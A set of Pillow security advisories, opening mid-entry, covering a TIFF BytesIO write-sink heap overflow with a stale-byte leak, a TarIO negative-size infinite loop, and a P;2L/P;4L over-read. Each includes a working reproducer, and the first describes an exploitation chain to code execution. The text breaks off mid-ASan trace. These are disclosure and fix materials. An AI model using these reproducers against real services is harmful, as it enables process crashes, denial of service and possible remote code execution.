TIFF is saved directly (ImageDescription, DocumentName or XMP), or through an embedded ICC profile, which survives `copy()` in `im.info`. The bytes libtiff skips for alignment are never initialised, so any compressed TIFF over 64 KiB written this way also leaks one stale heap byte per padding hole. That leak needs no crafted tag. The attached reproducer builds a 131 KB PackBits TIFF and runs `Image.open(...).save(io.BytesIO(), "TIFF")`. Saving the same image to a file path succeeds, but the `BytesIO` save aborts with glibc's `malloc(): corrupted top size`. A second part of the script shows uninitialised heap bytes at the padding offsets of a `BytesIO` save that are zero in the file save. Saves to real files are unaffected. The defect dates to e782fe721e01 (2013) and has been present since Pillow 2.0.0. ##### Details When `im.save()` writes a TIFF through libtiff to a target that has no usable `fileno()` (`io.BytesIO`, an HTTP response object, a storage backend stream), libtiff is opened with `TIFFClientOpen()` on Pillow's own in-memory sink, `_tiffWriteProc` / `_tiffSeekProc` in `src/libImaging/TiffDecode.c`. libtiff treats that sink like a file: when it writes the directory it seeks *beyond* the current end of data (to `eof + IFD size`, where the out-of-line tag values go, and one byte further after every odd-length tag value to keep offsets even) and writes there. On a real file the kernel grows the file and zero-fills the gap. The memory sink does neither correctly: 1. `_tiffWriteProc` sizes its `realloc()` from `state->size + size` instead of `state->loc + size`, so the first write after such a seek can land past the end of the new allocation — a heap buffer overflow whose content is tag data taken from the image being saved. 2. The bytes that libtiff skips are never written, and the grown region is a bare `realloc()`, so they reach the output TIFF with whatever the heap held before. Both are reachable with default settings by the ordinary "re-encode the upload" sequence `Image.open(upload); im.save(io.BytesIO(), "TIFF")` with no save options: `compression` defaults to the source file's (`src/PIL/TiffImagePlugin.py:1734`), any compression other than raw selects the libtiff writer (`:1746`), the source's `tag_v2` entries are passed through to libtiff (`:1959`), and a target without `fileno()` leaves `_fp = 0` (`:1928-1935`), i.e. the memory sink. The overflow half additionally needs an attacker-controlled out-of-line tag value of the right length to reach libtiff. With the opened `TiffImageFile` saved directly (`tag_v2` passthrough) that can be a ~64 KiB ASCII tag (269/270/271/272) or the XMP packet (tag 700, type BYTE — arbitrary bytes), and the number of tags the upload carries sets the IFD size, i.e. the overrun length (12 bytes per entry; 2384 bytes with a 331-entry IFD observed). After `convert()`/`resize()`/`thumbnail()`/`copy()` the `tag_v2` entries are gone, but `im.info["compression"]` (still selecting libtiff) and `im.info["icc_profile"]` survive and the ICC profile is written as tag 34675 (`:1822-1824`), an equally attacker-controlled out-of-line value: `Image.open(x).copy().save(BytesIO(), "TIFF")` with the payload in the ICC profile produces the identical ASan report. The stale-byte half needs no attacker tag at all. **Proof (overflow).** A 131 198-byte hand-built TIFF — mode L, 7×8191, `Compression=32773` (PackBits), an `ImageDescription` of 65 535 characters — opened with `Image.open()` and saved with `im.save(io.BytesIO(), "TIFF")` aborts a stock build with glibc's `malloc(): corrupted top size`. The same call against an AddressSanitizer build of the C extensions reports ``` AddressSanitizer: heap-buffer-overflow ... WRITE of size 65536 #&#8203;1 _tiffWriteProc src/libImaging/TiffDecode.c:115 #&#8203;4 TIFFFlush #&#8203;5 ImagingLibTiffEncode src/libImaging/TiffDecode.c:1056 0 bytes to the right of 131072-byte region, allocated by realloc in _tiffWriteProc src/libImaging/TiffDecode.c:103 ``` **Proof (uninitialised bytes).** Saving one 300×300 RGB image as `compression="tiff_lzw"` with four odd-length ASCII tags to a `BytesIO`, once with `MALLOC_PERTURB_=1` (glibc fills fresh allocations with 0xfe) and once with `MALLOC_PERTURB_=170` (0x55), gives two 369 463-byte TIFFs that differ in exactly 4 bytes, 0xfe vs 0x55, at offsets 369177, 369417, 369423, 369451 — the pad byte between the odd-length last strip and the IFD, and the pad byte after each odd-length tag value except the last. The same save to a filename gives byte-identical files with 0x00 there. Without any allocator tweaks, after a few 64 KB–400 KB Python `bytes` objects filled with 0xa7 are created and freed, re-saving an uploaded LZW TIFF carrying ten odd-length ASCII tags yields 0xa7 at all nine pad offsets. ##### Code walk-through The sink's state is `{data, size (allocated), loc (position), eof (high-water mark)}`; the encoder path starts it as a zeroed 64 KiB block (`TiffDecode.c:863`, `calloc(bufsize, 1)` with `bufsize = 64*1024`, `flrealloc = 1`). Seeking is unconstrained: ```c /* src/libImaging/TiffDecode.c:124-141 _tiffSeekProc */ case 0: state->loc = off; break; /* may exceed eof and size */ case 1: state->loc += off; break; case 2: state->loc = state->eof + off; break; ``` and writing assumes `loc <= size`: ```c /* src/libImaging/TiffDecode.c:90-117 _tiffWriteProc */ to_write = MIN(size, state->size - (tsize_t)state->loc); /* negative if loc > size */ if (state->flrealloc && size > to_write) { tsize_t newsize = state->size; while (newsize < (size + state->size)) { /* capacity target ignores loc */ … newsize += 64 * 1024; } new_data = realloc(state->data, newsize); /* tail left uninitialised */ … state->size = newsize; to_write = size; } _TIFFmemcpy((UINT8 *)state->data + state->loc, buf, to_write); /* :115 */ state->loc += (toff_t)to_write; state->eof = MAX(state->loc, state->eof); ``` A gdb trace of the sink calls during the overflowing save (stock build, breakpoints on the two procs) shows how libtiff drives it: ``` write size=63064 at loc=8 (eof=8 size=65536) strip data (PackBits re-encode: write size=2464 at loc=63072 (eof=63072 size=65536) 8 bytes/row × 8191 rows) seek off=0 whence=2 -> loc=65536 = eof = size TIFFWriteDirectory: end of data, already even seek off=4; write size=4 at loc=4 link IFD offset into header seek off=65662 whence=0 (eof=65536 size=65536) 65536 + 126-byte IFD (10 entries) = tag data area write size=65536 at loc=65662 (eof=65536 size=65536) ImageDescription, first out-of-line value ``` For that last call `to_write = 65536 − 65662 = −126`, the loop grows `newsize` until it is ≥ `65536 + 65536`, i.e. to 131072, and the `memcpy` writes `[65662, 131198)` into a 131072-byte block: 126 bytes past the end, containing the last 126 bytes of the description string. `loc`/`eof` become 131198 > `size`; `ImagingLibTiffEncode` later sets `size = eof` (`:1067`) and copies `[0, eof)` out of the same block (`:1073`), reading past it as well. The general condition is: at directory-write time the strip data ends within *IFD-size* bytes of the current allocation boundary, and the first out-of-line tag value has a length just below a multiple of 64 KiB. The overrun length is `IFD size + pad − slack`, so it grows by 12 bytes per additional tag. For single-band images (L, P, 1, I;16, F…) `BitsPerSample` is stored inline and the first out-of-line value in tag order is `DocumentName` (269) or `ImageDescription` (270) — both free-length ASCII strings taken from the source file. Pillow re-encodes the pixels itself, but with PackBits the compressed size is a deterministic function of attacker-chosen pixel rows (the reproducer uses rows of 7 distinct bytes → 8 bytes per row → exactly 65536 bytes including the 8-byte header), so the attacker controls both quantities. For multi-band images the 6-byte `BitsPerSample` array is written first and absorbs the growth, which is why RGB sources do not hit the overflow. The disclosure half is the benign version of the same sequence. In the LZW/RGB trace the strip data ends at the odd offset 369177; libtiff places the IFD at 369178 and the tag values from 369364 on, and after each odd-length value seeks one byte forward before the next write (`seek off=369418 (loc=369417)`, `write size=5 at loc=369418`, …). Offsets 369177, 369417, 369423 and 369451 are therefore never written. They lie in the part of the buffer obtained by the `realloc()` calls at `:103` (the block grew 65536 → 196608 → 327680 → 458752 during the strip writes), which is not cleared, so the emitted file carries the previous heap contents at those positions. Holes that fall inside the initial 64 KiB are zero only because that block is `calloc`'d. The defect was introduced in e782fe721e01 ("initial merge of wiredfool/Python-Imaging-Library-G4-Tiff-Support", 2013-03-08), first released in Pillow 2.0.0. ##### Impact Any service that accepts an image and produces a TIFF rendition into a non-file object — the usual pattern for returning or uploading the result without touching disk — is exposed to whoever supplies the image, with no non-default Pillow setting involved. The overflow additionally requires that an attacker-controlled out-of-line tag value reaches libtiff: the uploaded ImageDescription/DocumentName/XMP when the application saves the opened TIFF itself (or copies its tags into the save), or the embedded ICC profile, which survives `convert()`/`resize()`/`thumbnail()`/`copy()` in `im.info` together with the compression. Under those conditions, with a crafted single-band TIFF the uploader gets a heap out-of-bounds write in the worker process of IFD-size bytes (12 bytes per directory entry the upload carries — 126 bytes with the minimal reproducer, 2384 bytes with a 331-entry IFD) immediately past a 128 KiB-class `realloc` block, with the overwritten bytes being the tail of a tag value they chose; on the stock build the minimal reproducer is detected by glibc and kills the process (`SIGABRT`). Given two addresses leaked by a separate bug, this write has been turned into code execution against a stock build of this commit with ASLR/PIE/NX enabled and default settings (that proof-of-concept is not included with this report): a single-process stdlib `http.server` worker doing nothing but `Image.open(BytesIO(body)).save(BytesIO(), "TIFF")` per upload executed an attacker-chosen shell command (`id>/tmp/r.XXXXXX`), answered `200` and kept serving (12/12 against a freshly started worker, 2/6 after twenty unrelated uploads; a miss normally leaves the worker running and is retryable). The two addresses (`&system`, `&PyBytes_Type`) were taken from an unrelated information disclosure in the same process; everything else is this bug plus properties of Pillow's TIFF reader used as a heap-shaping script. The 4.7 MB attack TIFF is a 397×165 8-bit PackBits image whose rows re-encode to exactly 65 528 bytes (strip ends at sink offset 65 536), a 63 942-byte XMP packet (tag 700) as the first out-of-line value, and ~500 private IFD entries. Because `TiffImagePlugin` turns every IFD entry into one `bytes` object in IFD order, frees an earlier entry when a later one repeats its tag number, and parses the IFD three times per request (`TiffImagePlugin.py:1258`, `:1271`, and `getexif()` from `load_end()` at `:1331`), those entries drain glibc's free lists, punch exact-size holes for every large allocation the save makes, and arrange that the 128 KiB `realloc` of the sink lands directly below a live 0x540 chunk followed by libtiff's own `TIFF` handle (`malloc(1313)` from `TIFFClientOpen`). The 2384 overflowing bytes rewrite the start of the `TIFF` struct with the command string, a zeroed `tif_dir`, `tif_diroff = 65536`, and `tif_cleanup = system` at +0x3f8; libtiff resumes `TIFFWriteDirectorySec` on the modified handle and calls `(*tif->tif_cleanup)(tif)`. With gdb on `__libc_system` the call arrives as `__libc_system("id>/tmp/r.…") ← libtiff.so.6 ← TIFFFlush ← ImagingLibTiffEncode (src/libImaging/TiffDecode.c:1056) ← _encode (src/encode.c:139)`. Offsets are per-binary constants (glibc 2.36, CPython 3.12.14, libtiff 4.5.0, this `_imaging.so`), all obtainable from public distribution files. Independently, every compressed TIFF written to such a target that exceeds 64 KiB discloses one byte of stale heap per alignment hole (one per odd-length tag value plus possibly one before the IFD; the count is set by the tags in the uploaded file) at predictable offsets in the returned file — low bandwidth, but it is other requests' freed data. File-path and real-fd targets (`TIFFFdOpen`) are unaffected by either issue. The primitive is the same class and attacker position as the `TiffDecode.c` decode-side heap overflows CVE-2020-35654, CVE-2021-25289 and CVE-2020-10379, but on the encode path and behind the output-to-a-non-file and tag-passthrough preconditions above, with code execution additionally depending on an address leak from another bug. ##### Reproducing `repro` is a single Python script that uses the installed Pillow, writes its inputs into a temporary directory. It has two parts. Each part compares saving to a file path, which goes through `TIFFFdOpen` and is correct, with the same save into an `io.BytesIO`, which goes through the `_tiffWriteProc` memory sink. **Part 1: heap overflow.** `setup_env()` builds `upload.tif` (131 198 bytes) byte by byte: a mode L, 7×8191 image with `Compression=32773` (PackBits) and a 65 535-character `ImageDescription`. The sizes are picked so that when Pillow re-encodes the pixels, the strip comes to 8 + 8191 × 8 = 65 536 bytes and ends exactly at the sink's initial 64 KiB buffer. libtiff then seeks past the 126-byte IFD and writes the 65 536-byte description at offset 65 662. The sink grows only to 131 072 bytes, so the last 126 bytes of the description are written past the end of the heap block. In a fresh child process, the script runs `Image.open("upload.tif").save(<target>, "TIFF")` with no options, once with `"out.tif"` as the target and once with `io.BytesIO()`. The file save exits with 0. The BytesIO save is killed by SIGABRT, with glibc reporting `malloc(): corrupted top size`. **Part 2: stale heap bytes in the output.** A child started with `MALLOC_PERTURB_=170` (glibc fills fresh allocations with 0x55) saves a seeded-noise 300×300 RGB image with `compression="tiff_lzw"` and four odd-length ASCII tags. It saves once to a file and once to a BytesIO, then prints every offset where the two outputs differ. libtiff skips one pad byte before the IFD and one after each odd-length tag value. The file has 0x00 at those offsets, but the BytesIO output still holds the 0x55 that was in uninitialised `realloc()` memory. Expected output on this tree: ``` upload.tif: 131198 bytes save to file path : exit code 0, out.tif = 131210 bytes save to BytesIO : exit code -6, stderr: 'malloc(): corrupted top size' -> heap overflow crashed the process: True same image, same options, saved to a file path vs. to a BytesIO: offset 369177: file 0x00 BytesIO 0x55 offset 369417: file 0x00 BytesIO 0x55 offset 369423: file 0x00 BytesIO 0x55 offset 369451: file 0x00 BytesIO 0x55 -> BytesIO output contains never-written heap bytes: True BUG ``` The last line is `BUG` if either part shows its defect, and `OK` otherwise. With the attached patch applied and rebuilt, the BytesIO save exits with 0, the two outputs are identical, and the script prints `OK`. ##### Suggested fix The attached patch makes `_tiffWriteProc` in `src/libImaging/TiffDecode.c` honour sparse-file semantics: it sizes the buffer from the write position, and zeroes what `realloc()` adds (the initial block is already `calloc`'d, so every byte libtiff skips then reads as 0, exactly as through `TIFFFdOpen`). For the non-reallocating case (`flrealloc == 0`), where `loc > size` would also make `to_write` negative, it rejects the write with a `TIFFError`, the same idiom `_tiffReadProc` uses: ```diff - while (newsize < (size + state->size)) { + while (newsize < (size + (tsize_t)state->loc)) { … + memset((UINT8 *)new_data + state->size, 0, newsize - state->size); state->data = new_data; state->size = newsize; to_write = size; + } else if (to_write < 0) { + TIFFError("_tiffWriteProc", "Invalid Write at loc %" PRIu64 ", size: %" PRIu64, …); + return 0; } ``` `_tiffSeekProc` is left unconstrained, since libtiff legitimately seeks past the end of data; with the write proc fixed, `eof` can no longer exceed `size`, so the read-out in `ImagingLibTiffEncode` (`:1067`, `:1073`) stays within the block. The patch also adds `test_save_bytesio_seek_past_end` to `Tests/test_file_libtiff.py`, which saves the PackBits 64 KiB-boundary case and an LZW case with odd-length tags to both a file and a `BytesIO` and asserts the outputs are identical. With the patch applied and rebuilt, the BytesIO output is byte-identical to the file output, no AddressSanitizer report is produced for tag lengths 65410/65535/131071/196607, the code-execution chain described under Impact no longer runs its command, and the existing TIFF tests pass. ##### The patch Size the libtiff in-memory write buffer from the write position, not its current size, and zero the space added by realloc in _tiffWriteProc Applies to `src/libImaging/TiffDecode.c` at the commit above. ```diff diff --git a/Tests/test_file_libtiff.py b/Tests/test_file_libtiff.py index 3d804ea4a..d2a926a62 100644 --- a/Tests/test_file_libtiff.py +++ b/Tests/test_file_libtiff.py @@ -760,6 +760,38 @@ class TestFileLibTiff(LibTiffTestCase): save_bytesio("packbits") save_bytesio("tiff_lzw") + def test_save_bytesio_seek_past_end(self, tmp_path: Path) -> None: + # When writing the directory, libtiff seeks past the end of the data + # written so far, and then writes the tag values there. Check that the + # in-memory write buffer grows to fit, and that the bytes that are + # skipped over are zero, as they would be when writing to a file. + + # 7 distinct bytes per row: PackBits emits 8 bytes per row, so the strip + # plus the header are exactly 64 KiB, the initial size of the buffer + im = Image.new("L", (7, 8191)) + im.putdata([(i * 37) & 0xFF for i in range(7 * 8191)]) + kwargs = {"compression": "packbits", "description": "D" * 65535} + + outfile = tmp_path / "temp.tif" + im.save(outfile, **kwargs) + buffer_io = io.BytesIO() + im.save(buffer_io, format="tiff", **kwargs) + assert buffer_io.getvalue() == outfile.read_bytes() + + # odd-length tag values, so that libtiff pads between them. Large enough + # that the buffer has to be reallocated + im = hopper().resize((300, 300)) + kwargs = { + "compression": "tiff_lzw", + "description": "abcdef", + "software": "xyz0", + "tiffinfo": {315: "artist", 33432: "copyright!"}, + } + im.save(outfile, **kwargs) + buffer_io = io.BytesIO() + im.save(buffer_io, format="tiff", **kwargs) + assert buffer_io.getvalue() == outfile.read_bytes() + def test_save_ycbcr(self, tmp_path: Path) -> None: im = hopper("YCbCr") outfile = tmp_path / "temp.tif" diff --git a/src/libImaging/TiffDecode.c b/src/libImaging/TiffDecode.c index 8a57c523d..dd9945493 100644 --- a/src/libImaging/TiffDecode.c +++ b/src/libImaging/TiffDecode.c @@ -87,11 +87,13 @@ _tiffWriteProc(thandle_t hdata, tdata_t buf, tsize_t size) { TRACE(("_tiffWriteProc: %d \n", (int)size)); dump_state(state); + // libtiff may have seeked past the end of the buffer, e.g. when writing the + // directory, so the required size is based on the current location. to_write = MIN(size, state->size - (tsize_t)state->loc); if (state->flrealloc && size > to_write) { tdata_t new_data; tsize_t newsize = state->size; - while (newsize < (size + state->size)) { + while (newsize < (size + (tsize_t)state->loc)) { if (newsize > INT_MAX - 64 * 1024) { return 0; } @@ -105,9 +107,20 @@ _tiffWriteProc(thandle_t hdata, tdata_t buf, tsize_t size) { // fail out return 0; } + // zero the new space, so that any bytes libtiff seeks over without + // writing are 0 in the output, as they would be in a file + memset((UINT8 *)new_data + state->size, 0, newsize - state->size); state->data = new_data; state->size = newsize; to_write = size; + } else if (to_write < 0) { + TIFFError( + "_tiffWriteProc", + "Invalid Write at loc %" PRIu64 ", size: %" PRIu64, + state->loc, + (toff_t)state->size + ); + return 0; } TRACE(("to_write: %d\n", (int)to_write)); ``` ##### The reproducer <details> <summary>Reproducer — <code>repro</code>, 5,434 bytes (click to open)</summary> Its last line is `BUG` when the issue triggers and `OK` when it does not. Re-run on a clean build of that commit it printed `BUG`. ```python #!/usr/bin/env python3 """ Pillow: heap overflow + stale heap bytes in the libtiff in-memory write sink (_tiffWriteProc, src/libImaging/TiffDecode.c). im.save(<BytesIO>, "TIFF") with any compression goes through libtiff writing into Pillow's memory sink. When libtiff writes the directory it seeks *past* the end of the data written so far and writes tag values there: 1. _tiffWriteProc grows the buffer to `size + write_len` instead of `loc + write_len`, so that write can run off the end of the allocation. 2. The bytes libtiff skipped over are never written, so whatever the heap held there ends up in the output file. The same saves to a file path are fine (the kernel zero-fills skipped bytes), which is the control for both parts. """ import os import resource import struct import subprocess import sys import tempfile resource.setrlimit(resource.RLIMIT_CORE, (0, 0)) # the overflow aborts; no core file os.chdir(tempfile.mkdtemp()) def run(code, **env): """Run a Python snippet against the installed Pillow in a fresh process.""" return subprocess.run([sys.executable, "-c", code], env={**os.environ, **env}, capture_output=True, text=True) def setup_env(): """Write upload.tif: an L-mode 7x8191 PackBits TIFF with a 65535-char ImageDescription. Sizes are chosen so that, when Pillow re-encodes it: - the PackBits strip is 8191 rows x 8 bytes + 8-byte header = 65536 bytes, i.e. the data ends exactly at the sink's initial 64 KiB buffer; - the first out-of-line tag value (ImageDescription + NUL) is 65536 bytes and goes at 65536 + 126 (the 10-entry IFD sits in between). The sink grows to 65536 + 65536 = 131072 bytes, then writes [65662, 131198): the last 126 bytes of the description land past the end of the heap block. """ w, h = 7, 8191 # 7 distinct bytes per row -> PackBits can only emit one literal run: 1 + 7 bytes strip = b"".join(b"\x06" + bytes((y * 7 + x) * 37 & 0xFF for x in range(w)) for y in range(h)) desc = b"D" * 65535 + b"\x00" strip_off, desc_off = 8, 8 + len(strip) ifd_off = desc_off + len(desc) entries = [ (256, 4, 1, w), # ImageWidth (257, 4, 1, h), # ImageLength (258, 3, 1, 8), # BitsPerSample (259, 3, 1, 32773), # Compression = PackBits (inherited by save()) (262, 3, 1, 1), # PhotometricInterpretation = BlackIsZero (270, 2, len(desc), desc_off), # ImageDescription (carried into save() via tag_v2) (273, 4, 1, strip_off), # StripOffsets (277, 3, 1, 1), # SamplesPerPixel (278, 4, 1, h), # RowsPerStrip (279, 4, 1, len(strip)), # StripByteCounts ] ifd = struct.pack("<H", len(entries)) ifd += b"".join(struct.pack("<HHII", *e) for e in entries) ifd += struct.pack("<I", 0) with open("upload.tif", "wb") as f: f.write(struct.pack("<2sHI", b"II", 42, ifd_off) + strip + desc + ifd) ##### --------------------------------------------------------------------------- ##### Part 1: heap buffer overflow. Re-save an uploaded TIFF with no options. ##### --------------------------------------------------------------------------- setup_env() print(f"upload.tif: {os.path.getsize('upload.tif')} bytes") RESAVE = 'from PIL import Image; import io; Image.open("upload.tif").save({target}, "TIFF")' ##### Control: saving to a file path (real fd, no memory sink) works control = run(RESAVE.format(target='"out.tif"')) print(f"save to file path : exit code {control.returncode}, out.tif = {os.path.getsize('out.tif')} bytes") ##### PoC: the identical save into a BytesIO poc = run(RESAVE.format(target="io.BytesIO()")) print(f"save to BytesIO : exit code {poc.returncode}, stderr: {poc.stderr.strip()!r}") ##### A process killed by a signal (SIGABRT from glibc's heap check) = heap corrupted overflow = control.returncode == 0 and poc.returncode < 0 print(f"-> heap overflow crashed the process: {overflow}\n") ##### --------------------------------------------------------------------------- ##### Part 2: stale heap bytes in the output. MALLOC_PERTURB_=170 makes glibc fill ##### fresh allocations with 0x55, so never-written bytes become visible. ##### --------------------------------------------------------------------------- STALE = r''' import io, random from PIL import Image random.seed(1) im = Image.new("RGB", (300, 300)) # noise -> ~360 KB LZW, so the sink must realloc() im.putdata([tuple(random.randrange(256) for _ in "rgb") for _ in range(300 * 300)]) ##### odd-length ASCII tags: libtiff skips one pad byte after each kw = dict(compression="tiff_lzw", description="abcdef", software="xyz0", tiffinfo={315: "artist", 33432: "copyright!", 306: "2024:01:01 00:00:00"}) im.save("ref.tif", "TIFF", **kw) buf = io.BytesIO() im.save(buf, "TIFF", **kw) a, b = open("ref.tif", "rb").read(), buf.getvalue() for i in (i for i in range(len(a)) if a[i] != b[i]): print(f" offset {i}: file 0x{a[i]:02x} BytesIO 0x{b[i]:02x}") ''' stale = run(STALE, MALLOC_PERTURB_="170").stdout print("same image, same options, saved to a file path vs. to a BytesIO:") print(stale or " outputs identical") leak = "BytesIO 0x55" in stale print(f"-> BytesIO output contains never-written heap bytes: {leak}\n") print("BUG" if overflow or leak else "OK") ``` </details> --- #### Severity - CVSS Score: 9.2 / 10 (Critical) - Vector String: `CVSS:4.0/AV:N/AC:H/AT:P/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N` #### References - [https://github.com/python-pillow/Pillow/security/advisories/GHSA-332p-7hrc-92wf](https://github.com/python-pillow/Pillow/security/advisories/GHSA-332p-7hrc-92wf) - [https://nvd.nist.gov/vuln/detail/CVE-2026-112393](https://nvd.nist.gov/vuln/detail/CVE-2026-112393) - [https://github.com/python-pillow/Pillow/commit/11582e5ffbdceb973d5ee593f3105af5a9852b40](https://github.com/python-pillow/Pillow/commit/11582e5ffbdceb973d5ee593f3105af5a9852b40) - [https://github.com/python-pillow/Pillow](https://github.com/python-pillow/Pillow) - [https://github.com/python-pillow/Pillow/releases/tag/13.0.0](https://github.com/python-pillow/Pillow/releases/tag/13.0.0) This data is provided by [OSV](https://osv.dev/vulnerability/GHSA-332p-7hrc-92wf) and the [GitHub Advisory Database](https://github.com/github/advisory-database) ([CC-BY 4.0](https://github.com/github/advisory-database/blob/main/LICENSE.md)). </details> --- ### Pillow: TarIO negative size field causes infinite CPU-spin loop BIT-pillow-2026-96642 / [CVE-2026-96642](https://nvd.nist.gov/vuln/detail/CVE-2026-96642) / [GHSA-3j72-p6qg-6xp7](https://github.com/advisories/GHSA-3j72-p6qg-6xp7) / PYSEC-2026-4341 <details> <summary>More information</summary> #### Details ##### Summary `TarIO.__init__` does not check that a tar header's size field is positive. A crafted header with a negative size makes it seek backward onto itself. This causes an infinite loop that uses 100% CPU and never returns. ##### Details `TarIO.__init__` reads 512-byte tar headers one at a time, looking for a member with a given name. For each header it reads the size field and skips ahead to the next header: ```python size = int(s[124:135], 8) ... self.fh.seek((size + 511) & (~511), io.SEEK_CUR) ``` There is no check that size is zero or more. A tar header can set this field to a negative octal value. For size = -512, the seek offset comes out to exactly -512, which cancels the 512 bytes the loop had just read. The file position goes right back to where this loop step started. The loop only stops on end of file or when a header name starts with a null byte. Neither happens, since the same header keeps showing up again. The loop never ends on its own. ##### Steps to reproduce This uses Tests/images/hopper.tar, a normal file already in the Pillow test suite. It only changes the size field of the first header. ```python from PIL import TarIO with open("Tests/images/hopper.tar", "rb") as f: data = bytearray(f.read()) ##### Set the size field (bytes 124 to 135) to a negative octal value. ##### Octal 1000 is 512, so this is size = -512. data[124:135] = b" -00001000" with open("poisoned.tar", "wb") as f: f.write(data) ##### "does-not-exist" does not match the header name, so TarIO must ##### keep scanning. This call never returns. TarIO.TarIO("poisoned.tar", "does-not-exist") ``` We confirmed this with ps. The process sits at 98 to 100% CPU and never exits on its own. It only stops if killed from outside. A pytest version of this, using pytest-timeout so the test does not hang forever, is below. On the current code it fails with Failed: Timeout (>3.0s) from pytest-timeout. ```python from __future__ import annotations from pathlib import Path import pytest from PIL import TarIO SOURCE_TAR = "Tests/images/hopper.tar" @pytest.mark.timeout(3) def test_negative_size_field_does_not_hang(tmp_path: Path) -> None: with open(SOURCE_TAR, "rb") as f: data = bytearray(f.read()) data[124:135] = b" -00001000" # octal 1000 = decimal 512, negated poisoned_tar = tmp_path / "poisoned.tar" poisoned_tar.write_bytes(data) with pytest.raises((OSError, ValueError)): with TarIO.TarIO(str(poisoned_tar), "does-not-exist"): pass ``` ##### Impact - Availability: an attacker who can get a crafted tar file passed to TarIO.TarIO() can hang the process at full CPU with a file just over 512 bytes. - Confidentiality: none. - Integrity: none. - TarIO is a small helper class. It is not used by Image.open() and is not on the default path most Pillow users hit. An app has to call PIL.TarIO.TarIO(path, member_name) directly for this to matter, which some apps do to read an image out of a tar archive. #### Severity - CVSS Score: 7.1 / 10 (High) - Vector String: `CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N` #### References - [https://github.com/python-pillow/Pillow/security/advisories/GHSA-3j72-p6qg-6xp7](https://github.com/python-pillow/Pillow/security/advisories/GHSA-3j72-p6qg-6xp7) - [https://nvd.nist.gov/vuln/detail/CVE-2026-96642](https://nvd.nist.gov/vuln/detail/CVE-2026-96642) - [https://github.com/python-pillow/Pillow/pull/10012](https://github.com/python-pillow/Pillow/pull/10012) - [https://github.com/python-pillow/Pillow/commit/19b695fdcc5eddc37374e2b1645fc4185edaf71d](https://github.com/python-pillow/Pillow/commit/19b695fdcc5eddc37374e2b1645fc4185edaf71d) - [https://github.com/python-pillow/Pillow](https://github.com/python-pillow/Pillow) - [https://github.com/python-pillow/Pillow/releases/tag/13.0.0](https://github.com/python-pillow/Pillow/releases/tag/13.0.0) This data is provided by [OSV](https://osv.dev/vulnerability/GHSA-3j72-p6qg-6xp7) and the [GitHub Advisory Database](https://github.com/github/advisory-database) ([CC-BY 4.0](https://github.com/github/advisory-database/blob/main/LICENSE.md)). </details> --- ### Pillow: P;2L and P;4L decoders may read 1 to 3 bytes past the passed buffer size BIT-pillow-2026-112394 / [CVE-2026-112394](https://nvd.nist.gov/vuln/detail/CVE-2026-112394) / [GHSA-4558-3h8r-v8xp](https://github.com/advisories/GHSA-4558-3h8r-v8xp) / PYSEC-2026-4327 <details> <summary>More information</summary> #### Details ##### Summary On `main`, even with the guard in #&#8203;9725, it's possible to have these decoders read 1 to 3 bytes past the end of the passed buffer with a suitable width/height. ##### Details `ImagingRawDecode` and the `P;2L` / `P;4L` unpackers disagree about how many bytes a line of data occupies. The raw decoder derives the line size from the bits per pixel ```c state->bytes = (state->xsize * state->bits + 7) / 8; ``` and uses it both for the bounds check and to advance to the next line. For `P;2L` and `P;4L`, `bits` is 2 and 4 respectively. But these two rawmodes are not packed pixels but 2 or 4 *bit planes*, each padded to a whole number of bytes. `unpackP2L` computes `s = (pixels + 7) / 8` and reads plane *k* at offset `k * s`, and `unpackP4L` does the same across four planes. Their real footprint is therefore `planes * ((xsize + 7) / 8)`. For some widths, padding each plane separately makes this footprint larger than `state->bytes`. For example, at width 1, the decoder accounts for one byte, while the unpackers read two or four bytes. The decoder accepts data that is too short for the last line and on the other hand advances to subsequent lines by less than a line, so every line after the first is also read from the wrong offset. #&#8203;9725's check is misshapen for this: * It can reject data of the right length: 8x1 `P;2L` image is 2 bytes but is not accepted. * It still accepts buffers shorter than the unpackers require for a given image shape. * It measures the length with `len(data)`, which is an element count rather than a byte count; e.g. `memoryview(array("I", [0,0,0,0,0]))` (20 bytes) is rejected while `mv.tobytes()` is accepted. ##### PoC ( `ghsa_p2l_p4l.py`) ```python from array import array from PIL import Image ##### 1 byte past Image.frombytes("P", (1, 4), array("B", [0] * 4), "raw", "P;2L") ##### 3 bytes past Image.frombytes("P", (1, 8), array("B", [0] * 8), "raw", "P;4L") ``` is the almost-simplest reproducer. (`array` is needed to get ASan to reliably scream, but the overread is observable with e.g. bytes literals. Python allocates `bytes`es with an extra trailing null byte, from an arena by default to boot, so ASan doesn't see the overread.) On my Mac, I can get ASan to scream about this with ```bash export asan=$(clang -print-file-name=libclang_rt.asan_osx_dynamic.dylib) env CFLAGS="-fsanitize=address -fno-omit-frame-pointer -g -O1" LDFLAGS="-fsanitize=address" uv pip install -e . env DYLD_INSERT_LIBRARIES=$asan PYTHONMALLOC=malloc ASAN_OPTIONS=detect_leaks=0 python3 ghsa_p2l_p4l.py ``` like so: <details> ``` python3(29144,0x202fea2c0) malloc: nano zone abandoned due to inability to reserve vm space. unpackP2L: in=0x602000037370 i=0 j=0 pixels=1 reads 0x602000037370 0x602000037371 unpackP2L: in=0x602000037371 i=0 j=0 pixels=1 reads 0x602000037371 0x602000037372 unpackP2L: in=0x602000037372 i=0 j=0 pixels=1 reads 0x602000037372 0x602000037373 unpackP2L: in=0x602000037373 i=0 j=0 pixels=1 reads 0x602000037373 0x602000037374 ================================================================= ==29144==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x602000037374 at pc 0x00010778c684 bp 0x00016d029f40 sp 0x00016d029f38 READ of size 1 at 0x602000037374 thread T0 #&#8203;0 0x00010778c680 in unpackP2L+0x17c (_imaging.cpython-314-darwin.so:arm64+0xb4680) #&#8203;1 0x000107765360 in ImagingRawDecode+0x348 (_imaging.cpython-314-darwin.so:arm64+0x8d360) #&#8203;2 0x0001076f259c in _decode+0x15c (_imaging.cpython-314-darwin.so:arm64+0x1a59c) #&#8203;3 0x0001030d921c in method_vectorcall_VARARGS.llvm.8905850704545875072+0x84 (python3.14:arm64+0x10030521c) #&#8203;4 0x000102e585b8 in _TAIL_CALL_CALL.llvm.12785051352303791014+0x13c (python3.14:arm64+0x1000845b8) #&#8203;5 0x000102f1c17c in _PyEval_Vector+0x308 (python3.14:arm64+0x10014817c) #&#8203;6 0x000102f31864 in 